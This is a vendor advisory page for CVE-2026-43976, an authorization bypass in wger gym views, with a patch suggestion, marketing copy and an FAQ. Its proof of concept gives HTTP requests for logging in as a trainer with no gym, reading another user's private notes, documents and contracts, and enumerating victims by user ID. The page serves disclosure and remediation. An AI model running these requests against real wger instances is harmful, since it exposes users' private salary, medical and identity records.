CVE-2026-43976

CVE-2026-43976 is a high-severity incorrect authorization vulnerability in wger (pip), affecting versions <= 2.1. No fixed version is listed yet.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)

Five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed.

Details

Files: wger/gym/views/user.py, wger/gym/views/admin_notes.py, wger/gym/views/document.py, wger/gym/views/contract.py, wger/gym/views/user_config.py

The same flawed comparison pattern appears across at least five views:

# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
#              user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()

# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member)  # only filtered by member_id

When both request.user.userprofile.gym and user.userprofile.gym are None, Python evaluates None != None as False, and HttpResponseForbidden is never reached. The subsequent queryset applies only the attacker-supplied member (user ID) as a filter, there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.

Affected endpoints:

  • GET /en/gym/notes/list/user/<member_pk> -> admin notes list view
  • GET /en/gym/documents/list/user/<member_pk> -> documents list view
  • GET /en/gym/contract/list/<member_pk> -> contracts list view
  • GET /en/gym/user/<member_pk>/config -> user config view
  • GET /en/gym/user/<member_pk>/permissions -> permission edit view

Suggested patch:

--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-    if request.user.userprofile.gym != user.userprofile.gym:
-        return HttpResponseForbidden()
+    trainer_gym_id = request.user.userprofile.gym_id
+    member_gym_id  = user.userprofile.gym_id
+
+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+        return HttpResponseForbidden()

# Also tighten the queryset with a gym-scoped secondary filter:
-    notes = AdminUserNote.objects.filter(member=member)
+    notes = AdminUserNote.objects.filter(
+        member=member,
+        member__userprofile__gym_id=request.user.userprofile.gym_id,
+    )

Extract a shared helper assert_same_gym(trainer, member) and call it consistently from all five affected views to eliminate future drift.

PoC

Tested on wger/server:latest Docker image. Test users: trainer1 (gym.gym_trainer + gym.add_adminusernote permissions, userprofile.gym=None) and alice (regular user, userprofile.gym=None, has a private admin note pre-seeded).

Step 1 - Authenticate as trainer with required perms and gym=None:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Read victim's private admin notes:

GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
body contains all private admin notes for user 2:
  "PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
  "PHASE4_SECRET_SALARY_100K"

Step 3 - Read victim's documents and contracts (same pattern):

GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2

-> 200 OK for each; all records disclosed

Step 4 (optional) - Mass enumeration across all gym=None users:

Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned user (check works correctly when gym values differ)

RBAC Disproof Protocol:

  • Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature)
  • Scenario B (trainer1, gym=None -> alice gym=None) -> HTTP 200 with PII in body (expected HTTP 403)
  • Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is None-specific)

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

An authenticated trainer with gym.gym_trainer + gym.add_adminusernote permissions and userprofile.gym=None can:

  1. Enumerate and read all private admin notes for every other gym=None user (notes may contain salary data, medical notes, disciplinary records).
  2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms).
  3. Read all gym contracts (financial terms, subscription details).
  4. Read user configuration details.
  5. Via the permissions endpoint, potentially modify victim permissions (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).

Affected deployments: every wger instance where gym.gym_trainer + gym.add_adminusernote are delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.

Severity: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).

This is structurally the same bug class as the sibling findings affecting trainer_login and reset_user_password (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - warrants a shared same_gym() helper applied across all five views.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-43976 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

wger (<= 2.1)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

No fixed version is listed for CVE-2026-43976 yet.

In the interim: Keep the dependency up to date. Audit access-control checks to ensure they are applied consistently and cannot be bypassed.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-43976? CVE-2026-43976 is a high-severity incorrect authorization vulnerability in wger (pip), affecting versions <= 2.1. No fixed version is listed yet. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
  2. How severe is CVE-2026-43976? CVE-2026-43976 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of wger are affected by CVE-2026-43976? wger (pip) versions <= 2.1 is affected.
  4. Is there a fix for CVE-2026-43976? No fixed version is listed for CVE-2026-43976 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is CVE-2026-43976 exploitable, and should I be worried? Whether CVE-2026-43976 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-43976 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-43976? No fixed version is listed yet. In the interim: Keep the dependency up to date. Audit access-control checks to ensure they are applied consistently and cannot be bypassed.

Other vulnerabilities in wger

Stop the waste.
Protect your environment with Kodem.